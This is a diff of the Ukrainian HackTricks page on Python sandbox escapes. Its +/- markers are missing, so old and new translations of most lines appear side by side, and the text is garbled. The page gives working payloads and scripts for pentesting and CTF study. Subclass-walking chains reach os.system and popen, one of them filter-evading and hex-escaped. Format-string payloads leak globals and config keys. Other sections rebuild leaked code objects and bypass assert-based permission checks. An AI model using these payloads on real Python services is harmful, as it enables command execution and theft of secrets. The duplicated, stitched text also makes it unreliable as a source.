<class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
```
[**Нижче наведена більша функція**](./#recursive-search-of-builtins-globals) для знаходження десятків/**сотень** **місць**, де ви можете знайти **globals**.
[**Нижче є більша функція**](./#recursive-search-of-builtins-globals) для пошуку десятків/**сотень** **місць**, де ви можете знайти **глобальні змінні**.
## Виявлення довільного виконання
## Відкриття довільного виконання
Тут я хочу пояснити, як легко виявити **більш небезпечні функціональності**, що завантажуються, і запропонувати більш надійні експлойти.
Тут я хочу пояснити, як легко виявити **більше небезпечних функцій, завантажених** та запропонувати більш надійні експлойти.
#### Доступ до підкласів з обхідними методами
Однією з найбільш чутливих частин цієї техніки є можливість **доступу до базових підкласів**. У попередніх прикладах це було зроблено за допомогою `''.__class__.__base__.__subclasses__()`, але є **інші можливі шляхи**:
#### Доступ до підкласів з обхідними шляхами
Одна з найчутливіших частин цієї техніки полягає в можливості **доступу до базових підкласів**. У попередніх прикладах це було зроблено за допомогою `''.__class__.__base__.__subclasses__()`, але є **інші можливі способи**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -498,24 +460,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### Знаходження небезпечних бібліотек
### Пошук небезпечних завантажених бібліотек
Наприклад, знаючи, що з бібліотекою **`sys`** можливо **імпортувати довільні бібліотеки**, ви можете шукати всі **модулі, які були завантажені та містять імпортований sys всередині них**:
Наприклад, знаючи, що з бібліотекою **`sys`** можливо **імпортувати довільні бібліотеки**, ви можете шукати всі **модулі, які завантажили sys всередині них**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Є багато, і **нам просто потрібен один**, щоб виконати команди:
Є багато, і **нам потрібен лише один**, щоб виконати команди:
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Ми можемо зробити те саме з **іншими бібліотеками**, які ми знаємо, що можуть бути використані для **виконання команд**:
Ми можемо зробити те ж саме з **іншими бібліотеками**, які, як ми знаємо, можуть бути використані для **виконання команд**:
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -550,9 +506,7 @@ defined_func.__class__.__base__.__subclasses__()
#pdb
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "pdb" in x.__init__.__globals__ ][0]["pdb"].os.system("ls")
```
Крім того, ми навіть можемо знайти, які модулі завантажують зловмисні бібліотеки:
Крім того, ми навіть можемо шукати, які модулі завантажують шкідливі бібліотеки:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
for b in bad_libraries_names:
@ -571,9 +525,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
pdb:
"""
```
Крім того, якщо ви вважаєте, що **інші бібліотеки** можуть мати можливість **викликати функції для виконання команд**, ми також можемо **фільтрувати за назвами функцій** всередині можливих бібліотек:
Крім того, якщо ви вважаєте, що **інші бібліотеки** можуть **викликати функції для виконання команд**, ми також можемо **фільтрувати за іменами функцій** всередині можливих бібліотек:
```python
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
@ -604,14 +556,13 @@ load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
"""
```
## Рекурсивний пошук вбудованих, глобальних...
## Рекурсивний пошук в Builtins, Globals...
{% hint style="warning" %}
Це просто **неймовірно**. Якщо ви **шукаєте об'єкт, такий як globals, builtins, open або щось інше**, просто скористайтеся цим скриптом, щоб **рекурсивно знайти місця, де ви можете знайти цей об'єкт.**
Це просто **чудово**. Якщо ви **шукаєте об'єкт, наприклад globals, builtins, open або будь-що інше**, просто використовуйте цей скрипт, щоб **рекурсивно знайти місця, де ви можете знайти цей об'єкт.**
{% endhint %}
```python
import os, sys # Import these to find more gadgets
@ -727,22 +678,20 @@ print(SEARCH_FOR)
if __name__ == "__main__":
main()
```
You can check the output of this script on this page:
Ви можете перевірити вивід цього скрипта на цій сторінці:
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/ua/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
[https://github.com/carlospolop/hacktricks/blob/ua/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/ua/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
{% content-ref url="https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md" %}
[https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md)
{% endcontent-ref %}
## Форматування рядка Python
## Python Format String
Якщо ви **надсилаєте** **рядок** до Python, який буде **форматований**, ви можете використовувати `{}` для доступу до **внутрішньої інформації Python**. Ви можете використовувати попередні приклади для доступу до глобальних змінних або вбудованих функцій, наприклад.
Якщо ви **надсилаєте** **рядок** до python, який буде **форматуватися**, ви можете використовувати `{}` для доступу до **внутрішньої інформації python.** Ви можете використовувати попередні приклади для доступу до глобальних або вбудованих функцій, наприклад.
{% hint style="info" %}
Однак є **обмеження**, ви можете використовувати лише символи `.[]`, тому ви **не зможете виконати довільний код**, лише прочитати інформацію.\
_Якщо ви знаєте, як виконати код через цю вразливість, будь ласка, зв'яжіться зі мною._
Однак є **обмеження**, ви можете використовувати лише символи `.[]`, тому ви **не зможете виконати довільний код**, лише читати інформацію.\
_**Якщо ви знаєте, як виконати код через цю вразливість, будь ласка, зв'яжіться зі мною.**_
{% endhint %}
```python
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
@ -762,20 +711,16 @@ people = PeopleInfo('GEEKS', 'FORGEEKS')
st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)
```
Зверніть увагу, як ви можете **доступатися до атрибутів** звичайним способом з **крапкою** як `people_obj.__init__` і **елементу dict** з **дужками** без лапок `__globals__[CONFIG]`
Зверніть увагу, що ви можете **отримати доступ до атрибутів** у звичайний спосіб з **крапкою** як `people_obj.__init__` та до **елементу словника** з **дужками** без лапок `__globals__[CONFIG]`
Також зверніть увагу, що ви можете використовувати `.__dict__` для переліку елементів об'єкта `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Деякі інші цікаві характеристики рядків форматування - це можливість **виконання** **функцій** **`str`**, **`repr`** та **`ascii`** в вказаному об'єкті, додавши **`!s`**, **`!r`**, **`!a`** відповідно:
Також зверніть увагу, що ви можете використовувати `.__dict__` для перерахування елементів об'єкта `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Деякі інші цікаві характеристики форматних рядків - це можливість **виконувати** **функції** **`str`**, **`repr`** та **`ascii`** в зазначеному об'єкті, додаючи **`!s`**, **`!r`**, **`!a`** відповідно:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Крім того, можливо **кодувати нові форматери** у класах:
Крім того, можливо **створювати нові форматори** в класах:
```python
class HAL9000(object):
def __format__(self, format):
@ -786,19 +731,17 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Більше прикладів** про приклади **формату** **рядка** можна знайти на [**https://pyformat.info/**](https://pyformat.info)
**Більше прикладів** про **формат** **рядків** можна знайти на [**https://pyformat.info/**](https://pyformat.info)
{% hint style="danger" %}
Також перевірте наступну сторінку для гаджетів, які будуть **читати чутливу інформацію з внутрішніх об'єктів Python**:
Перевірте також наступну сторінку на наявність гаджетів, які зможуть r**ead чутливу інформацію з внутрішніх об'єктів Python**:
{% endhint %}
{% content-ref url="../python-internal-read-gadgets.md" %}
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %}
### Навантаження розкриття чутливої інформації
### Пейлоади для розкриття чутливої інформації
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -809,17 +752,15 @@ return 'HAL 9000'
# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}
```
## Розбирання об'єктів Python
## Дослідження об'єктів Python
{% hint style="info" %}
Якщо ви хочете **дізнатися** більше про **байткод Python** у глибину, прочитайте цей **чудовий** пост на цю тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
Якщо ви хочете **вивчити** **байт-код Python** детально, прочитайте цей **чудовий** пост на цю тему: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
{% endhint %}
У деяких CTF вам можуть надати ім'я **власної функції, де знаходиться прапорець**, і вам потрібно побачити **внутрішності** **функції**, щоб видобути його.
Ось функція для інспекції:
В деяких CTF вам можуть надати назву **кастомної функції, де знаходиться прапор**, і вам потрібно переглянути **внутрішню структуру** **функції**, щоб витягти його.
Це функція для перевірки:
```python
def get_flag(some_input):
var1=1
@ -830,20 +771,16 @@ return "THIS-IS-THE-FALG!"
else:
return "Nope"
```
#### dir
```python
dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
```
#### globals
`__globals__` та `func_globals`(Те саме) Отримує глобальне середовище. У прикладі ви можете побачити деякі імпортовані модулі, деякі глобальні змінні та їх вміст, оголошений:
`__globals__` та `func_globals` (однакові) Отримує глобальне середовище. У прикладі ви можете побачити деякі імпортовані модулі, деякі глобальні змінні та їх вміст, що оголошений:
```python
get_flag.func_globals
get_flag.__globals__
@ -852,13 +789,11 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Дивіться тут більше місць для отримання глобальних змінних**](./#globals-and-locals)
[**Дивіться тут більше місць для отримання globals**](./#globals-and-locals)
### **Доступ до коду функції**
**`__code__`** та `func_code`: Ви можете **отримати доступ** до цього **атрибуту** функції, щоб **отримати об'єкт коду** функції.
**`__code__`** та `func_code`: Ви можете **доступитися** до цього **атрибута** функції, щоб **отримати об'єкт коду** функції.
```python
# In our current example
get_flag.__code__
@ -872,9 +807,7 @@ compile("print(5)", "", "single")
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
```
### Отримання інформації про код
```python
# Another example
s = '''
@ -920,9 +853,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **Розібрати функцію**
### **Дизасемблювання функції**
```python
import dis
dis.dis(get_flag)
@ -950,9 +881,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Зверніть увагу, що **якщо ви не можете імпортувати `dis` в пісочницю Python**, ви можете отримати **байткод** функції (`get_flag.func_code.co_code`) та **розібрати** його локально. Ви не побачите вміст завантажених змінних (`LOAD_CONST`), але можете вгадати їх з (`get_flag.func_code.co_consts`), оскільки `LOAD_CONST` також вказує на зміщення завантаженої змінної.
Зверніть увагу, що **якщо ви не можете імпортувати `dis` в пісочниці python**, ви можете отримати **байт-код** функції (`get_flag.func_code.co_code`) і **дисасемблювати** його локально. Ви не побачите вміст змінних, що завантажуються (`LOAD_CONST`), але ви можете здогадатися про них з (`get_flag.func_code.co_consts`), оскільки `LOAD_CONST` також вказує на зсув змінної, що завантажується.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -974,12 +903,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Компіляція Python
Тепер уявіть, що ви якимось чином можете **вивести інформацію про функцію, яку не можете виконати**, але вам **необхідно** її **виконати**.\
Наприклад, у наступному прикладі ви **можете отримати доступ до об'єкту коду** цієї функції, але просто читаючи розібрання, ви **не знаєте, як обчислити прапорець** (_уявіть більш складну функцію `calc_flag`_).
Тепер уявімо, що якимось чином ви можете **вивантажити інформацію про функцію, яку ви не можете виконати**, але вам **потрібно** її **виконати**.\
Як у наступному прикладі, ви **можете отримати доступ до об'єкта коду** цієї функції, але просто читаючи disassemble, ви **не знаєте, як обчислити прапор** (_уявіть більш складну функцію `calc_flag`_)
```python
def get_flag(some_input):
var1=1
@ -992,11 +919,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Створення об'єкта коду
По-перше, нам потрібно знати, **як створити та виконати об'єкт коду**, щоб ми могли створити його для виконання нашої функції leaked:
По-перше, нам потрібно знати **як створити та виконати об'єкт коду**, щоб ми могли створити один для виконання нашої функції leak:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -1015,10 +940,8 @@ mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
{% hint style="info" %}
Залежно від версії Python **параметри** `code_type` можуть мати **різний порядок**. Найкращий спосіб дізнатися порядок параметрів у версії Python, яку ви використовуєте, - це виконати:
В залежності від версії python **параметри** `code_type` можуть мати **інший порядок**. Найкращий спосіб дізнатися порядок параметрів у версії python, яку ви використовуєте, - це виконати:
```
import types
types.CodeType.__doc__
@ -1026,12 +949,11 @@ types.CodeType.__doc__
```
{% endhint %}
### Пересотворення витіклої функції
### Відтворення витоку функції
{% hint style="warning" %}
У наступному прикладі ми візьмемо всі дані, необхідні для відтворення функції, безпосередньо з об'єкта коду функції. У **реальному прикладі** всі **значення** для виконання функції **`code_type`** - це те, що **вам потрібно витікати**.
У наступному прикладі ми будемо брати всі дані, необхідні для відтворення функції, безпосередньо з об'єкта коду функції. У **реальному прикладі** всі **значення**, необхідні для виконання функції **`code_type`**, це те, що **вам потрібно буде витягти**.
{% endhint %}
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -1042,14 +964,12 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
### Bypass Defenses
### Обхід захисту
У попередніх прикладах на початку цього посту ви можете побачити, **як виконати будь-який код Python, використовуючи функцію `compile`**. Це цікаво, оскільки ви можете **виконати цілі скрипти** з циклами та всім іншим в **одному рядку** (і ми могли б зробити те саме, використовуючи **`exec`**).\
У будь-якому випадку, іноді може бути корисно **створити** скомпільований об'єкт на локальній машині та виконати його на машині **CTF** (наприклад, через те, що у нас немає функції `compile` в CTF).
Наприклад, давайте скомпілюємо та вручну виконаємо функцію, яка читає _./poc.py_:
In previous examples at the beginning of this post, you can see **як виконати будь-який python код, використовуючи функцію `compile`**. This is interesting because you can **виконати цілі скрипти** with loops and everything in a **one liner** (and we could do the same using **`exec`**).\
Anyway, sometimes it could be useful to **створити** a **скомпільований об'єкт** in a local machine and execute it in the **CTF machine** (for example because we don't have the `compiled` function in the CTF).
For example, let's compile and execute manually a function that reads _./poc.py_:
```python
#Locally
def read():
@ -1076,9 +996,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **правильну функцію**, але викликати її безпосередньо, як правило, призведе до помилки: _constructor not accessible in restricted mode_. Тому вам потрібна **функція, яка не знаходиться в обмеженому середовищі, щоб викликати цю функцію.**
Якщо ви не можете отримати доступ до `eval` або `exec`, ви можете створити **правильну функцію**, але викликати її безпосередньо зазвичай не вдасться з повідомленням: онструктор недоступний в обмеженому режимі_. Тому вам потрібна **функція, яка не знаходиться в обмеженому середовищі, щоб викликати цю функцію.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1086,12 +1004,11 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Декомпіляція скомпільованого Python
Використовуючи інструменти, такі як [**https://www.decompiler.com/**](https://www.decompiler.com), можна **декомпілювати** заданий скомпільований код Python.
Використовуючи інструменти, такі як [**https://www.decompiler.com/**](https://www.decompiler.com), можна **декомпілювати** даний скомпільований код python.
**Перегляньте цей посібник**:
**Перегляньте цей підручник**:
{% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
@ -1101,9 +1018,8 @@ f(42)
### Assert
Python, що виконується з оптимізаціями з параметром `-O`, видалятиме оператори asset та будь-який код, умовний щодо значення **debug**.\
Отже, перевірки типу
Python, виконуваний з оптимізаціями з параметром `-O`, видалить оператори assert та будь-який код, що залежить від значення **debug**.\
Тому перевірки, такі як
```python
def check_permission(super_user):
try:
@ -1112,6 +1028,7 @@ print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")
```
буде обійдено
## Посилання
@ -1122,22 +1039,23 @@ print(f"\nNot a Super User!!!\n")
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
**Група Try Hard Security**
**Try Hard Security Group**
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримати HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити **рекламу вашої компанії в HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**телеграм-групи**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,23 +1,24 @@
# venv
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
